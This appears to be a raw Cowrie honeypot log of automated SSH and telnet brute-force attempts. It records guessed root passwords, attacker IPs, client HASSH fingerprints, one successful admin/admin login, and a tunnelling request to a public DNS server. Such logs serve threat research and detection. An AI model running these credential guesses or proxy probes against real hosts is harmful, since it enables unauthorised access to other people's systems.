{"eventid":"cowrie.login.failed","username":"root","password":"tarsys","message":"login attempt [root/tarsys] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:01:42.688517Z","src_ip":"157.230.190.155","session":"a34839e22888","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:01:43.696330Z","src_ip":"157.230.190.155","session":"a34839e22888","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":13.439514398574829,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:01:44.363267Z","src_ip":"1.20.223.175","session":"b5e5472ff0e2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.119.212.99","src_port":38882,"dst_ip":"10.17.0.5","dst_port":22,"session":"93e7cbd3c1b1","protocol":"ssh","message":"New connection: 45.119.212.99:38882 (10.17.0.5:22) [session: 93e7cbd3c1b1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:01:48.165702Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:01:48.170835Z","src_ip":"45.119.212.99","session":"93e7cbd3c1b1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:01:48.465217Z","src_ip":"45.119.212.99","session":"93e7cbd3c1b1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"mcs","message":"login attempt [root/mcs] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:01:49.621100Z","src_ip":"45.119.212.99","session":"93e7cbd3c1b1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.8","message":"Connection lost after 2.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:01:51.016356Z","src_ip":"45.119.212.99","session":"93e7cbd3c1b1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"189.203.163.10","src_port":39152,"dst_ip":"10.17.0.5","dst_port":22,"session":"5f5133976026","protocol":"ssh","message":"New connection: 189.203.163.10:39152 (10.17.0.5:22) [session: 5f5133976026]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:02:10.575037Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:02:10.578673Z","src_ip":"189.203.163.10","session":"5f5133976026","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:02:10.641451Z","src_ip":"189.203.163.10","session":"5f5133976026","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qqq","message":"login attempt [root/qqq] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:02:10.924702Z","src_ip":"189.203.163.10","session":"5f5133976026","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:02:11.991550Z","src_ip":"189.203.163.10","session":"5f5133976026","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"89.127.197.59","src_port":55760,"dst_ip":"10.17.0.5","dst_port":22,"session":"a72aeb403827","protocol":"ssh","message":"New connection: 89.127.197.59:55760 (10.17.0.5:22) [session: a72aeb403827]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:02:40.092546Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:02:40.097497Z","src_ip":"89.127.197.59","session":"a72aeb403827","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:02:40.220529Z","src_ip":"89.127.197.59","session":"a72aeb403827","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qian","message":"login attempt [root/qian] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:02:40.739417Z","src_ip":"89.127.197.59","session":"a72aeb403827","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:02:41.865398Z","src_ip":"89.127.197.59","session":"a72aeb403827","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.134.71.92","src_port":41834,"dst_ip":"10.17.0.5","dst_port":22,"session":"a5c4d8dc00c7","protocol":"ssh","message":"New connection: 43.134.71.92:41834 (10.17.0.5:22) [session: a5c4d8dc00c7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:02:53.465803Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:02:53.469779Z","src_ip":"43.134.71.92","session":"a5c4d8dc00c7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:02:53.714465Z","src_ip":"43.134.71.92","session":"a5c4d8dc00c7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"csilla","message":"login attempt [root/csilla] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:02:54.725086Z","src_ip":"43.134.71.92","session":"a5c4d8dc00c7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:02:55.974243Z","src_ip":"43.134.71.92","session":"a5c4d8dc00c7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":37408,"dst_ip":"10.17.0.5","dst_port":22,"session":"b31ddfe7a869","protocol":"ssh","message":"New connection: 87.251.64.176:37408 (10.17.0.5:22) [session: b31ddfe7a869]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:02:56.168781Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:02:56.173790Z","src_ip":"87.251.64.176","session":"b31ddfe7a869","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:02:56.270482Z","src_ip":"87.251.64.176","session":"b31ddfe7a869","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:02:56.562095Z","src_ip":"87.251.64.176","session":"b31ddfe7a869","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:02:56.661188Z","session":"b31ddfe7a869","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:02:56.762930Z","src_ip":"87.251.64.176","session":"b31ddfe7a869","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:02:56.861494Z","src_ip":"87.251.64.176","session":"b31ddfe7a869","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.249.84.242","src_port":54552,"dst_ip":"10.17.0.5","dst_port":22,"session":"787f7bc1a261","protocol":"ssh","message":"New connection: 103.249.84.242:54552 (10.17.0.5:22) [session: 787f7bc1a261]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:02:58.366666Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:02:58.371627Z","src_ip":"103.249.84.242","session":"787f7bc1a261","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:02:58.600039Z","src_ip":"103.249.84.242","session":"787f7bc1a261","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"iskandar","message":"login attempt [root/iskandar] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:02:59.544034Z","src_ip":"103.249.84.242","session":"787f7bc1a261","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:03:00.775371Z","src_ip":"103.249.84.242","session":"787f7bc1a261","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.15.222.183","src_port":52332,"dst_ip":"10.17.0.5","dst_port":22,"session":"0ead44680cc1","protocol":"ssh","message":"New connection: 103.15.222.183:52332 (10.17.0.5:22) [session: 0ead44680cc1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:03:03.675779Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:03:03.681385Z","src_ip":"103.15.222.183","session":"0ead44680cc1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:03:03.923570Z","src_ip":"103.15.222.183","session":"0ead44680cc1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"19991999","message":"login attempt [root/19991999] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:03:04.655188Z","src_ip":"103.15.222.183","session":"0ead44680cc1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:03:05.900106Z","src_ip":"103.15.222.183","session":"0ead44680cc1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.119.212.99","src_port":45026,"dst_ip":"10.17.0.5","dst_port":22,"session":"ef79b969727d","protocol":"ssh","message":"New connection: 45.119.212.99:45026 (10.17.0.5:22) [session: ef79b969727d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:03:17.795472Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:03:18.066527Z","src_ip":"45.119.212.99","session":"ef79b969727d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:03:18.311357Z","src_ip":"45.119.212.99","session":"ef79b969727d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"flash","message":"login attempt [root/flash] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:03:19.639509Z","src_ip":"45.119.212.99","session":"ef79b969727d","protocol":"ssh"}
